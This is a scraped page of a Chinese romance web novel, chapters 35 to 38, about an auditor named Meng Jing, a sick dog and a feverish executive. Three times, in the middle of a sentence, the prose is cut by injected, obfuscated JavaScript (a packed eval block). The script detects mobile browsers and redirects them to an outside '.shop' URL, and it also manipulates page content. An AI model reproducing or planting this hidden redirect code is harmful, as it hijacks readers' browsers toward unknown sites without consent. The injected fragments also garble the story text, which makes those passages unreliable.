张沛又想起前几天孟婧手里的大衣，怕是他们现在关系不错，忙往回找补：“这只是我个人的猜测，毕竟你们当时只接触了一天，可能是因为都比较慢热吧…” 孟婧点点头，她以前什么性子自己知道，虽然温柔，但绝对算不上开朗，对于一个陌生男上司，这样的相处模式也是意料之中。 但她那时候，知道他是孟梦的未婚夫吗？梁珞唯又知不知道她是孟家的人呢？ 餐厅是一家潮汕火锅，张沛选的，孟婧也正好想吃，国外的中餐厅鲜少有正宗的，尤其是各种丸子，非要肉鲜、手打才对味。 这一天发生了不少事情，孟婧满腹思虑，吃着吃着就开始发呆，反倒是张沛兴奋得要命，讲了不少自己在梁氏集团的糗事。 偶尔提到梁珞唯，她才算回了神。 “小梁总是真不容易啊，虽然具体的我不能说，但是还是很想感叹，这种伤人一千自损八百的精神，在京城商界恐怕也是独一份了。” 孟婧挑眉，猜他说的应该是和梁庭什之间的恩怨：“自损八百是…？” “这不是你们审计组要进驻了嘛，上级有关部门也很重视，派了督查组下来。哎反正你下周就知道了，我提前说了不算违规…” “孟婧，我好苦啊。”张沛一脸苦大仇深，“梁总出国前，也停了小梁总的职。” 孟婧张了张嘴，没有说话。 他今天忙成那样，是在处理最后的收尾工作吗…如果他也没了实权… “他们都不在了，那公司里谁管事？”孟婧问，“比如我们的工作，找谁对接呢？” “还是我呀。”张沛将脸埋在两掌中间，胡乱搓了搓，“小梁总也不能算完全停职吧，但是重大决策权肯定还是没了…听说会空降一位管理层，上面让我和新领导对接。” 孟婧敬他一杯大麦茶：“那真是辛苦张秘书了。” 两人从餐厅出来，孟婧才看到乔小仙一小时前发来的微信，长长的几条语音，还没来得及点开，电话就打过来。 乔小仙语气焦急：“姐，你可算理我了！” “出什么事了吗？”孟婧问，“我刚才在外面吃饭没看手机，你从津市回来了？” “回来了，但是已经走了，哎来不及细说，具体你听语音吧，我要上飞机了，今晚麻烦你一件事。” “别急，你说。” 电话那头传来机场广播声：“我给你发个宠物医院定位，大壮生病了在那里输液，麻烦你帮我接他回来。” 听到大壮生病，孟婧的脸色也紧张起来：“好的好的，放心吧，我马上就去，你飞哪儿啊？” “深市，大概夜里能到吧。”乔小仙急忙忙，“我下飞机再给你打电话啊姐。” 说完便挂断电话。 孟婧看了手机，除了微信消息，确实还有几个未接电话，火锅店里环境太吵，没有听见。 张沛见她一脸凝重，问：“怎么了？” “哦，我现在和我表妹住一起，她家的狗病了，托我去医院接。” “什么狗？” “边牧。”孟婧突然想起来大壮膘肥体壮的样子，“张沛，你说狗生病了…还能自己走路吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081362|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ？” 大壮足有四五十斤重，如果需要人抱…她可能需要先去买个推车。 “别担心。”张沛看看时间，“还早，我陪你去。” 孟婧确实需要个帮手：“那就谢谢了。” “这有什么，刚才你买单，我不也没拦着？” 孟婧笑着摇摇头:“你啊…” 点开乔小仙的语音，大体意思是因为津市的签售太火爆，出版社临时在南方的深市也加了几场，时间紧急，乔小仙回家取行李的时候发现大壮在家又拉又吐，这才送去医院。 因为赶飞机，她把大壮放在医院就先走了，大壮不喜欢住在外面，如果放在托管机构可能会加重病情，所以拜托孟婧这几天帮忙照顾。 “别担心，既然狗狗的主人都放心它在这边治病，就说明能治好。” 孟婧其实也知道这个道理，但一想到Toby小时候生病时难受样子，就不自觉地带入心疼。 乔小仙发来的定位在溪山别苑附近，孟婧和张沛下了车，发现这条街上有好几家药店和宠物医院，一个个寻过去，终于看到要找的那家招牌。 这家医院很大，前台空旷且正规，孟婧稍作询问，工作人员便知道了她要找的是哪只狗。 “狗狗在家翻垃圾桶，误食了洋葱，有溶血症状，红细胞数据也不太好。刚刚做了肾脏的检查，还没出结果。” 孟婧越听越紧张：“很严重吗？我…我能看看它吗？” “咦，不是他联系的您吗？”工作人员指指里屋的诊室，“一位帅哥一直陪着呢，你们到底谁是家属？” 孟婧和张沛对视片刻，不约而同朝她指的方向走过去。 敲了敲门，没人回应，倒是听见大壮哼唧了几声，张沛推开门，发现一个高大的男人背对着门坐在扶椅上。 大壮趴在他面前，对着门，爪子上缠着输液管，见到孟婧，咧开嘴可怜巴巴地转着眼睛。 “老大？”张沛惊呆地看着男人的背影，连忙绕到他面前，“真是他…” 张沛朝孟婧比划了一下，意思是梁珞唯睡着了。 他怎么会来？ 孟婧先去摸了摸大壮的头，又去看梁珞唯。 他穿着白天那套衣服，应该没有换过，一只手撑着头，另一只手随意搭在小腹处，苍白的面色中透着病态的红，应该是还在发烧。 张沛一时间不知道应该看狗还是看孟婧，还是看自己老板，这一切显然超出了他的认知，好在孟婧及时拉他出了诊室。 “我去旁边药店买点药，你去买点吃的？我看他好像是病了，估计晚上也没吃饭。” “啊？”张沛点点头，“哦！” 他决定暂时放弃思考。 孟婧买完药回来，梁珞唯还没醒。大壮也很虚弱，可能知道自己做错了事，埋着头委屈地不敢乱叫。 整个房间里都是梁珞唯略微沉重的呼吸声。 他受伤的红斑已经变得深紫，孟婧看了一眼，轻轻拆开手中的药膏。 不用想也知道，肯定是在小区里遇上正要抱着狗去医院的乔小仙，帮忙过来的。她这个表妹玲珑剔透，断然不会让梁家二公子替她照看一只狗，所以他为什么要留下来呢？ 独自抱着啼哭婴儿徘徊在医院中的时候，她也曾羡慕过那些全家齐上阵的夫妻，将心比心，她也是很愿意在别人生病的时刻帮一把的。 只是没想到这个嘴毒心硬的男人也能这么好心。 她蹲下来，平视他的膝盖，视线落在梁珞唯垂下那只手泛红的指关节处，轻轻将棉签点上去。 药膏冰凉，修长手指有瞬间的蜷缩，躲开了。 孟婧仰头看。 男人烧得厉害，皱着眉，嘴唇微微绷着，喉结隐隐滚动。 病了还这么不老实。 她叹了口气，伸出左手，掌心朝上，顺着他的指尖缓缓探入，慢慢托起他的手。 棉签再次落下，终于准确涂抹在冻伤的地方。 几乎同时，孟婧感觉到左手手心传来异常的灼热，还未待心跳声扬起，手背一痒，整只手被轻轻牵住。 “疼。”极为沙哑的嗓音在头顶上方响起。 她闻声抬头，慌乱神情被一丝不差地收进那双蓝黑色的眸中。 36. 第三十六夜 梁珞唯盯着孟婧看了几秒，又将目光落在两人牵着的手上。 “谢谢。”说完纹丝不动。 是她先伸出手的，突然收回来多少有点欲盖弥彰，孟婧垂下头，努力集中精神继续上药。 “疼还去外面冻着，梁先生有自虐倾向？再说了，这里是宠物医院，要喊疼的也应该是大壮。” 正疑惑盯着两人的边牧听见自己的名字，歪了歪头，咧嘴吐着舌头。 一只手涂完，梁珞唯没再让她帮忙，自己拿过药膏草草抹上：“大壮？谁起的名字。” 听着就不太聪明。 边牧听懂了他语气中的嫌弃，朝孟婧哼唧两下，随即将下巴抵在前腿上，一副可怜巴巴的样子。 “当然是它主人。”孟婧看着卖惨的大狗，将它的头埋在自己怀里揉了揉，“我们多壮呀，是不是？” “嗷呜…” 梁珞唯：“…” 孟婧心疼地看着它扎针的地方：“还要输多久？” “快了。”梁珞唯的嗓子还是很哑，说话时咳了几下，“还有一项检查结果没出。” 孟婧点点头，看他面色实在太难看：“梁先生还是先回去吧，这里我看着，你的身体… 话说一半，一个穿着白大褂的男人拿着几张纸走进来：“出来了啊，肾脏没问题，但是这周每天都得输液。” “嗯？妈妈也来了。” 孟婧的手还搭在大壮背上：“啊？我…” “你们两口子也忒粗心了，怎么能让它翻垃圾桶呢，孩子这么大了，什么东西不能碰心理没数？” 医生皱眉看了一眼输液袋，继续批评：“还有，爸爸都病成这样儿了，妈妈怎么才来，我这里只治孩子不治大人，怎么着，宝宝接回家，俩人儿再去医院挂急诊？” 孟婧被这一口京片子闹了个大红脸，一时间不知道该先反驳哪句。 梁珞唯看着淡定，身体却不听使唤，刚站起来，腿上放的各种药就掉了一地。他弯腰去捡，几乎半跪在孟婧面前，孟婧一时间不知道该和他一起蹲下，还是去堵医生的嘴。 医生回头撇了一眼：“哦，给爸爸买药了，那妈妈把孩子的费用也交一下吧。” 刚刚推门进来的张沛听到这句话，手里的粥差点掉在地上。 一会儿不见，怎么还爸爸妈妈上了！？ “我…我现在就去交！”孟婧顾不上别的。 “老大…”张沛回头看了一眼跑走的人，将吃的放在桌上，又帮梁珞唯捡东西，蹲在地上朝他悄悄挤眼睛，“什么情况？” 梁珞唯脸色苍白：“这句话应该我问你。” “我？”张沛这才反应过来，“哦，我们晚上一块儿吃饭来着，不知道您在这。” 其实从张沛进门起，梁珞唯就闻到了和孟婧身上一样的火锅味儿。他坐回到椅子上，闭眼揉着太阳穴：“来宠物医院吃饭？” “不是…”张沛挠了挠后脑勺，“这不是怕她一个人弄不了狗，想说帮忙么。但是一发现您在，我马上就去买粥了！” “粥？” “吃药啊，您脸色好差。”张沛打开包装，“孟婧买了退烧药，先吃点东西垫垫肚子？” “嗯。”梁珞唯扫了一眼，按住袋子，“回去再吃。” “也行。”张沛把东西装好，“对了，行李已经帮您打包运到溪山别苑，包括您叮嘱的那个药箱。老大，您要在那边住多久啊？” “不知道。”梁珞唯咳了几下，“今后你主要向新领导做汇报，我这边还是少来。” “知道了，避嫌嘛。”张沛垂着头嘟囔，“什么时候才能熬出头啊…” 梁珞唯冷冷看了他一眼。 张沛立正站好：“我错了，我闭嘴。” “回家吧，这边不需要其他人了。” “那怎么能行，我不照顾狗也要照顾您啊！” 大壮歪了歪头。 梁珞唯又冷冷看了他一眼。 “……老板再见！” 孟婧看着急哄哄离开的张沛，连句道别都没来得及说。 梁珞唯从诊室走出来，语气自然：“公司还有事儿，他先回去处理了。” “哦。”孟婧捋了捋头发，低头拨弄着手里的医药单，“你怎么出来了？” “医生拔输液管，我在它总不听话。”梁珞唯又走近一些，哑着嗓子说，“这段时间让它住我那儿吧。” “嗯。”孟婧点点头，又觉得不对劲，懵懂抬头，“嗯？” “每天都要来这儿输液。”梁珞唯双手插在大衣口袋中，在昏暗的走廊中也依旧玉树临风，“正好我最近没什么事儿。” 可能是心理作用，孟婧感觉他看起来有些落寞。 “可你不是住…” “我也在这个小区。” 原来今天张沛准备的行李是搬到这边。 仔细想想，孟婧还真的没时间去照顾这只大狗，审计这行加起班来根本没有时间概念，总不能大家都在忙，她却天天请假。 “我没什么意见，但是肯定要和小仙商量一下，还有…”她朝屋里看看。 梁珞唯让开一步，消毒水味中混入檀木香气：“它很喜欢我。” 孟婧妥协：“我今晚和小仙联系一下，如果可以，明早再把它送过去。” 医生将大壮牵出来，又叮嘱了几句，孟婧牵着狗，梁珞唯拿着药和吃的，肩并肩步行在回家路上。 “梁先生回去记得喝粥吃药。”孟婧叮嘱，“老这么烧着，我也不放心把大壮交给你。” 大壮恢复了点精气神，似乎觉得这种两人一狗的散步方式很新颖，回头叫了两声，好像在嫌他们走得太慢。 梁珞唯应景地也咳了两下，口中白雾升腾：“如果孟小姐实在不放心，一会儿可以带它直接去我家住。” 他神色如常，毫无半点逾举的语气，要不是前路寂静，只有两人的脚步声，孟婧还以为他说的是“去我家吃饭”。 “不要想歪，我的意思是…” “我没想歪，也不想知道你是什么意思。”孟婧攥紧手中的牵引绳，“梁先生，我一直想问一个问题。” 梁珞唯轻轻嗯了一声。 放在平日，如果有人敢这样和他说话，他必定要怼回去才罢休，可眼前的场景——路灯，白雪，马路上被拉长的人影，都让他有种说不出的暖。 即使领口被寒风吹透，额头和指节钻心地疼，他还是觉得舒服，那是一种与躯体无关的、发自内心的温存。 “我们很熟吗？”孟婧思考着措辞，“或者说，我们曾经很熟吗？” 也许吧。 任凭梁珞唯如何搜刮空白的记忆，却依旧拼凑不出哪怕一块碎片。 “不确定。”他悠悠开口，“五年前我病了一段时间，等到康复之后，很多以前的事情都记不清楚了。” “我以为孟小姐可以分享一些那段时间的回忆内容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13101076|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，当时和你提的所谓交易，也有这层目的。不过既然你这么问，说明也记不清楚了，对么。” 孟婧内心一紧。 梁珞唯：“五年了，可以理解，也许确实没发生过什么重要的事情吧。” 他给自己搭了台阶，也给孟婧搭了一节，话题显然无法再继续。两个什么都“记不清楚”的人一起讨论过往，也实在是可笑。 她没有回忆可以提供，还能拿什么作为交易的筹码呢。 步行进入小区，门口的保安认识梁珞唯，却没见过孟婧。 “梁先生晚上好，这是…”也许这两人一狗的搭配实在太过温馨，保安敬礼问候时，竟然敢和这位平日不苟言笑的大佬搭讪。 梁珞唯轻咳一声，没再说什么。 孟婧毫不在意，走到保安身边的时候，甚至笑着点了点头。 已经过了十几二十岁的年纪，她不会凭借模糊的感觉就草草心动，也同样不会因为路人的眼光而忐忑不安。 “不如谈谈以后？”她想到在沈确家看到的那份合同，“梁庭什给了我妈一份合同，要租下沈氏旗下几个餐饮品牌，这件事情你知道吗？” 其实孟婧心里隐约已经有答案，她只是想看梁珞唯的反应。 “既然你已经去见了她，就应该知道，联姻是救沈氏集团最好的选择。”梁珞唯毫不回避，甚至是亲自把联姻的事情再次提到明面上。 相识不到二十四小时，这是他们第几次说起这件事了？ 不过这次，孟婧没有反驳。 经过一下午的沉淀，她已经可以做到心平气和地和梁珞唯讨论这个问题。纠结要不要联姻这件事毫无意义，她现在更关心梁珞唯的目的和手段。 “何以见得？”她问，“梁庭什只是出国接受调查，就可以停了你的职，梁先生想没想过，联姻这件事也同时给沈家招惹了一个强大的对手呢。” “强大又如何。”梁珞唯沙哑的嗓音穿透风声，“对手之所以是对手，并不是由他的实力决定的，你以为孟家又能得到多少？两害相较取其轻罢了。” “况且，还有一件事没有告诉孟小姐。”梁珞唯停下，一脸严肃地正视孟婧。 大壮往前走了几步，发现走不动了，回头看着面对面的两人，知趣地坐到地上。 孟婧从他的表情中猜测出一二：“你是…想说孟梦的事？” “是。”梁珞唯笔直站在路灯之下，活像一尊审判者样貌的雕像。 “根据你上午提供的线索，我猜测，孟梦当年发的那句话，应该是想对梁庭什说的。” 那句“她配不上你！”，如果女方指代刁涟，男方指代梁庭什，一切就说得通了。 孟梦碰巧看到了刁涟和梁珞唯拥吻的照片，不知道是摆拍，以为刁涟出轨了未婚夫的弟弟，一怒之下才发了那样的话。 孟婧睁大眼睛，不敢相信地喃喃自语：“你是说…她爱上了你大哥…” “不完全准确。”梁珞唯的脸色苍白，“确切地说，是梁庭什有意引诱孟梦爱上他。” “如果我的推测是真，孟小姐还会对联姻的事有所犹豫吗？” 一阵风刮过，将路灯灯罩上的积雪拂掉，飘散晶莹冰花，男人默默伫立在那下面，微低着头一动不动。 “我…” 这根本就是两回事好么！孟婧脸有些热，完全不敢去看他。 天呢，梁珞唯那么认真的表情…仿佛马上就要单膝跪地了。 37. 第三十七夜 孟婧从浴室出来便被大壮围住，他咧嘴转了几圈，又朝床上叫了两声，用水汪汪的大眼睛瞪着她。 “一个个都这么看我…”孟婧不顾手上还湿着，胡乱将狗狗的眼睛捂住，拿起床上正在震动的手机。 刚才在外面，孟婧提出加微信的建议，梁珞唯从善如流，全然不似第一次见面时的推脱，主动输入了她的电话号码。 进了房间，孟婧还没来得及看，就被家中的乱像震惊了——地面上到处都是呕吐物简单擦拭后的痕迹，从厨房到客厅，再到洗手间。一些摆在地面上的东西被打翻，场面凌乱不堪。 待她收拾完再洗澡，已经过去差不多一小时。 孟婧点开好友申请，发现梁珞唯一共发了三条消息。 William.L：【梁。】 William.L：【？】 William.L：【…】 “什么啊…”孟婧皱着眉点击同意。 手机还没放下，消息就发过来。 William.L：【我以为孟小姐在故意耍我。】 她没事耍他做什么… Sandra.M：【很晚了，梁先生如果没什么事的话就早点休息吧。】 William.L：【有事。】 孟婧看了一眼趴在腿边的大壮：“你说他是不是有病？” 大壮只会咧嘴傻笑。 William.L：【联姻的事，还请抓紧考虑。】 提起这个孟婧就气不打一处来。 “大壮你评评理，刚才他那样咄咄逼人，让我怎么说。我除了说回去想想还能说什么？” “汪！”大壮用脑门拱了拱她的手心，又想舔她的手指。 孟婧痒得咯咯直笑，揉了一把它的脑袋：“要是都像你这么可爱，我倒可以立马做决定。” Sandra.M：【梁先生说的给我时间，不会只给一个小时吧。】 手机又是一震。 William.L：【孟小姐的意思是？】 Sandra.M：【至少处理完梁氏集团的项目。梁先生前途未卜，我也不敢往火坑里跳。】 对方没有接，停顿了一会儿，发来一串数字。 William.L：【这是院子和大门密码，我吃了药，明早可能醒不来，孟小姐请自便。】 Sandra.M：【梁先生多虑了，我倒时差，不会比您早起的。】 放下手机，孟婧迫不及待地将狗狗整个抱在怀里蹂躏：“今晚睡我房间？” “嗷呜！” 她知道边牧极聪明，所以把它当个人类沟通：“你的窝呢？” 大壮呼哧两下，挣扎着跳下床，一会儿便拖来一个柔软蓬松的棉垫子，看起来已经用了很久。 “乖宝好聪明！”孟婧忍不住拿起手机各种角度狂拍，顺便给乔小仙发过去一张。 Sandra.M：【安全到家。[图片].jpg】 乔小仙的电话立马打回来。 “姐，我下飞机了。”乔小仙语气略显兴奋，“快说说，今晚到底怎么回事儿！？” 孟婧从宠物医院离开之前给她发了消息，说梁珞唯主动提出要照顾大壮，乔小仙看到都蒙了。 梁珞唯当初帮她把狗送到医院的时候，怎么没亲自跟她这个狗主人说呢！ “什么怎么回事儿。”孟婧拨弄着滴水的发稍，“你让我去医院之前，也没说他在那儿啊。” 知道他在，她还真不一定会去。 “不是，我都跟他说了会让你去接狗，让他先走，谁知道他会在那儿等你！” 乔小仙说完恍然大悟，拍了自己嘴一下：“哎呦，肯定是因为这个。” 梁珞唯在等她。 “姐，你俩不对劲。” 可能是职业病使然，乔小仙虽然对于各大家族之间的明争暗斗不太上心，却极善于捕捉人的细微情感。 “他追你啊？” 孟婧觉得屋子里有些闷，走到窗边开了一条缝。丝丝凉意吹到脸上，才使思绪也降了温。 “小仙，我大学毕业就出国了，之后不管是工作还是生活，接触到的成熟男性大部分都是外国人。” 孟婧思考着措辞：“感情上，东西方差异真的很大，我习惯了简单直接，反而不太会应对这种…含蓄的表达。” “明白了，就是他暗戳戳追你呗。”乔小仙秒懂，“本来这种事情就很难界定的，对方是不是越界，主要取决于你的界限在哪儿。” “那个宠物医院有寄养服务，如果你不想因为狗的事再跟他见面，也可以不让他帮忙的。姐，珞唯哥这个人心思深，可能这辈子都直球不了了，如果你不舒服，不如直接挑明。” “他只是一直在提订婚的事，我没有答应。”孟婧坐回到床上，“他有他的目的，我也有我的，说不上不舒服。” “看来你对他也不反感。”乔小仙下了定论，“也是，珞唯哥那么帅，比起其他家的这总那总来说可强多了。” “我不知道。”孟婧低头抚摸着床单。 她潜意识中大概是希望自己遵循感觉的，但无奈仅有拒绝他人示好的经验，至于喜欢什么样的、适合什么样的，实在是一条都说不上来。 “我不了解梁珞唯，也不了解自己。”孟婧自嘲，“而且我和他之间，应该不是可以谈感情的关系吧。” 挂掉电话，孟婧捉摸着乔小仙刚才说的最后一句话。 “姐，我不懂，就不能既为了利益又为了感情吗，这两件事儿好像也不冲突吧。” 道理都懂，但说不冲突是因为没有身处其中。一旦牵扯感情，所有的利益也就变了味道，会犹豫，会受伤，会失去争抢的决心。 现在的她没有退路，也没资格胡思乱想。 手机还没变暗，消息提示梁珞唯在三分钟前发了一句晚安，孟婧抿着嘴，最终还是打出了生日快乐四个字。 * 梁珞唯是被狗叫声吵醒的。 孟婧买的退烧药规规矩矩地摆在床头，阳光顺着亚麻窗帘的缝隙透进来，他看了眼时间，已经快到八点。 昨晚他汗涔涔地一夜无梦，倒是比以前睡得都沉。起身关掉卧室和卫生间的灯，梁珞唯换了套干净睡衣，洗了把脸才出门。 “梁珞唯，快来管管！这狗怎么老叫啊。” 这声音…梁珞唯以为自己还在烧。 梁曼一手牵着狗绳，另一只手上抱着一个巨大的袋子。 她踩着高跟皮靴，脚下不稳，眼看就要被边牧带飞。 梁珞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122386|130760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唯皱眉：“松手。” 是重感冒才有的嗓音。 不过好在梁曼听到了，手上一松跌在沙发上：“张沛说你病了我还不信，看来是真的了。” 大壮失去束缚，撒欢地越过几节楼梯，扑上梁珞唯的大腿。这是在别人家，它显然忘了自家进门先擦jiojio的规矩，刚在外面踩过的雪已经化成泥，沾了梁珞唯一身。 梁珞唯：“……” “怎么，看见是我，失望了？”梁曼打趣道，“孟婧在国外吃了什么灵丹妙药吗，怎么比五年前还要漂亮。” “门口遇见的？”梁珞唯揉着眉心下楼，又看了一眼手机，除了昨晚那句生日快乐，再没有其他消息。 梁曼自顾自脱了外套：“是啊，她们事务所要在进驻之前开个会，去加班了。” 她社牛二十多年，没什么打听不出来的。 也正因为梁曼这种满嘴跑火车的性格，梁珞唯心里一沉：“你怎么自我介绍的？” “我？”梁曼自信地甩了一下头发，还朝他眨眨眼睛，“当然是你的青梅竹马了。” 梁珞唯脚步一顿，转身又往楼上走，大壮在他身后屁颠颠地跟着。 梁曼幸灾乐祸：“嘿，怎么又回去了！” 梁珞唯摸着额头：“吃药。” * 孟婧赶到事务所时，在进会议室之前碰到了Ethan和几个年轻同事，大家前一天刚见过，倒是不用再次自我介绍。 中央空调暖气很足，孟婧的脸被哄得发热，她敞开大衣，环顾着和国外办公室相差无几的装修。 宽大的写字台连城一排，几个加班的同事零星散落在各处，一脸严肃地敲打着键盘。 已经提交离职申请，孟婧的心理压力比其他人小很多，此时看到眼前的景象，还颇有点怀念的感觉。 众人进了会议室，一个小姑娘哭丧着脸嘟囔：“本来还想着能再歇一天的，怎么会提前启动啊！” Ethan也很无奈：“不是咱们的问题，听说梁氏空降了个人来接替原先的副总裁主持大局，新官上任三把火嘛。” 孟婧皱眉：“那不是应该请咱们到梁氏开会么。” “呵呵，大佬的心思你别猜。” 一些不认识的同事陆陆续续进入会议室，Ethan低声向孟婧介绍，又过了几分钟，随着一位中年美妇走入，会议室彻底安静下来。 美妇站定，开门见山道：“项目资料已经在早上发给大家，具体注意事项一会儿Ethan来说。” Ethan欠身朝大家打了招呼，坐好后，在笔记本上写下“周，par”几个字，孟婧点点头。 “周末叫大家过来，主要还是应甲方要求。”这位姓周的合伙人一脸严肃地环视会议室，“梁氏集团对这次审计工作给予了前所未有的重视，新任副总裁裴燃先生今天刚下飞机，更是第一站就到了咱们所。” 众人面面相觑。 从没听说过甲方爸爸还要来亲自动员的，这符合规定么？ “大家？鼓掌欢迎呢！” … 会议室外，一位穿着休闲西装的英俊男人正漫不经心地靠在墙边发微信，薄唇微微勾起。 【刚才远远看了她一眼，很漂亮。】 【是我喜欢的类型。】 38. 第三十八夜 八卦吃瓜是人的本性，虽然对这个新任副总裁没什么兴趣，但是能第一时间这么近距离地见到真人，所有人目光中还是闪烁出期待。 众所周知，前任副总裁梁珞唯对外极其低调，又因为其阴诡的行事作风，在下属中的口碑算不上好，因此大部分人认为这个能把梁珞唯挤下去的空降兵，必然只会更甚。 然而这位从天而降的裴总在掌声中进入会议室后，却让所有人都大跌眼镜。 裴燃看起来很年轻，整个人的气质也阳光热情:亚麻休闲西装，栗色中长发，一双柔情桃花眼，和满面春风的真诚笑容。 粤语和京腔切换自如，配合风趣幽默的自我介绍，先是对各位项目组成员表示感谢，还展示了愿意积极配合调查的态度。 Ethan小声嘀咕:“这话不是应该去跟督察组说吗？咱们就是干活的，示好有用？” 孟婧低头：“人家走个过场罢了，咱们配合演出，等到真去了，还不一定是什么态度。” 趁着这位父亲是港商，母亲曾是京城千金的裴总“演讲”完毕，合伙人去送的功夫，会议室里炸开了锅。 话题围绕裴燃，说着说着也会提到几句梁珞唯。 那天在餐厅，孟婧并没有隐藏梁珞唯的真实身份，但也没有解释为什么两人会单独吃饭。此时众人刚刚反应过来，自然是要八卦一番。 孟婧挑着事实说，倒也不算骗人：“没什么，就是出国之前，曾经在小梁总手下实习过几天，回国以后恰巧碰上了而已。” 有人回想起那天梁珞唯的黑脸形象，依旧心有余悸：“幸亏换人了，要还是那位，说不定什么资料都要不到。” 孟婧想到梁珞唯那张冷脸：“都是工作，也不至于…这么不近人情吧。” “万一呢。虽然他帅得逆天，但感觉不太接地气，好难沟通的样子。”有女同事已经开始犯花痴，“现在都不流行霸总了，我还是更喜欢裴总这样的暖男，他刚才和我对视的时候还笑了呢！” 显然也有不吃裴燃这款的：“我觉得他有点油，中央空调还不如冰块只暖我，我站小梁总。” “哈哈别花痴了，说得好像小梁总暖你了似得。” “我就谁都不站，凡是让我加班的都得死。” 七嘴八舌的八卦让孟婧听得津津有味，听时还带着“我知道更多八卦但是不能说”的隐秘愉悦。梁珞唯三个字听得多了，让她不自觉想起早晨遇见的那个女人，不知道她有没有把大壮交给他。 至于那个女人和梁珞唯的关系，她并没放在心上。梁珞唯年轻时的荒唐事她没少听，别说青梅竹马了，就算是别墅门前每天换着前任来哭，她都觉得是正常。 热闹场面没有持续太久，合伙人回来继续开会，众人又变成了凝重的苦脸。 为了不耽误大家吃午饭，Ethan在自己讲解的那部分中省去了很多细节，他将资料和分工发到群里，具体等到现场再见机行事。 一个上午结束，孟婧处在恢复工作状态的阶段，紧张中带着欢乐，完全不觉得饿，大家讨论中午去哪里吃的时候，Devin打来电话，邀请她共进午餐。 说是邀请，孟婧也没有拒绝的权利，她和同事打了招呼，匆匆赶去老板定位的地址。 由于是私人宴请，孟婧也就没多做准备，她在国外陪Devin参加饭局也不是一次两次，对于老板的行事作风也很了解。 Devin觉得饭桌上有赏心悦目的女士参与是优雅与尊重的体现，从未要求孟婧在饭局中做过额外的什么，反而是她，靠着这些场合结交到不少人脉。 定位是使馆街的一家法餐，打车过去用了些时间，等到孟婧进门时，包间内已经传来朗朗笑声。 “好意思，有点堵车。”孟婧循着Devin声音的方向看过去，却看到了刚刚在会议室讲话的那个男人。 孟婧有些意外，但很快接受了现实。Devin私交甚广，裴燃久居香港，没准也是他七拐八绕的好友之一。 裴燃没换衣服，似乎是从事务所直接来的这里，桌上摆着喝了一半的餐前酒，显然已经和Devin聊了一会儿。 “一点也不晚。”Devin招呼她坐下，“这是我一个老朋友的儿子，裴燃。好多年没见，没想到他刚下飞机就去了事务所，要不是小周和我说，就要错过了。” 裴燃不带半分上位者的高傲，听到Devin介绍之后主动起身，风度翩翩地伸出手：“孟小姐，很高兴认识你。” 孟婧受宠若惊：“裴总，幸会。” 双方指尖短暂相碰，礼貌点头，一丝不苟的谦和有礼。 似是在刚才的会议上对孟婧颇有印象，裴燃朝她眨眨眼睛：“这是Devin的私人行程，与工作无关，孟小姐不必太过客气，可以叫我裴燃。” 刚才会议室中不到二十人，裴燃对她有印象倒也正常，孟婧温婉一笑，坐落道：“裴先生说笑了。” 他和Devin有私交，又和她有什么关系。 “说起来，裴燃和咱们是校友，还是你的学长。”Devin说了一个学院，是孟婧读研所在那个学校最好的专业，“他毕业之后没给家里帮忙，去了梁氏在港的分公司做管理层，现在也算是锻炼成才。” “锻炼”这个词用得巧妙，让人可以迅速判断出，裴燃家在香港的地位还要高出梁氏一头。 “都是梁总器重。”裴燃不好意思的笑笑，故作谦虚的姿态都那么游刃有余，“这次他特地委托我来救急而已，我和孟小姐一样，都是打工人。” 孟婧不想将工作带进来，转而去谈论两人的交集部分：“没想到这么有缘，裴先生是哪年毕业的？” 裴燃指尖轻点着下巴，想了想，逗趣道：“边吃边聊？我和Devin点的餐前酒，不知能不能合孟小姐口味。” 说罢，他起身去招呼侍者。 孟婧吃不惯法餐，但聊得却很愉快。三人有在同一个城市生活和学习的经历，自然能够侃侃而谈。期间Devin刻意隐去了孟婧生子的事情，而裴燃也情商极高，即不让话落地，又能让话题控制在适度的社交距离之内。 一顿饭吃完，不知不觉到了下午两点。 裴燃还要去集团报道，不能久留，但碍于实在没有聊够，临走前，三人约定，要在Devin回国前一起去爬一次长城。 事务所那边的工作已经结束，孟婧不是正式职员，没有强制分工，因此又被Devin拉去喝茶。 从法式到中式，孟婧不禁佩服起这位年过半百的“中国通”，能有如此大的热情去面对每一件事情和每一个人。 只有两人在的时候，Devin更像个慈祥的老父亲：“Sandra，刚才看你可以和裴侃侃而谈，我很开心。” 在国外这些年，孟婧在工作上遇到过不少异性的示好，在这方面她一向界限分明，有时候为了不给对方机会 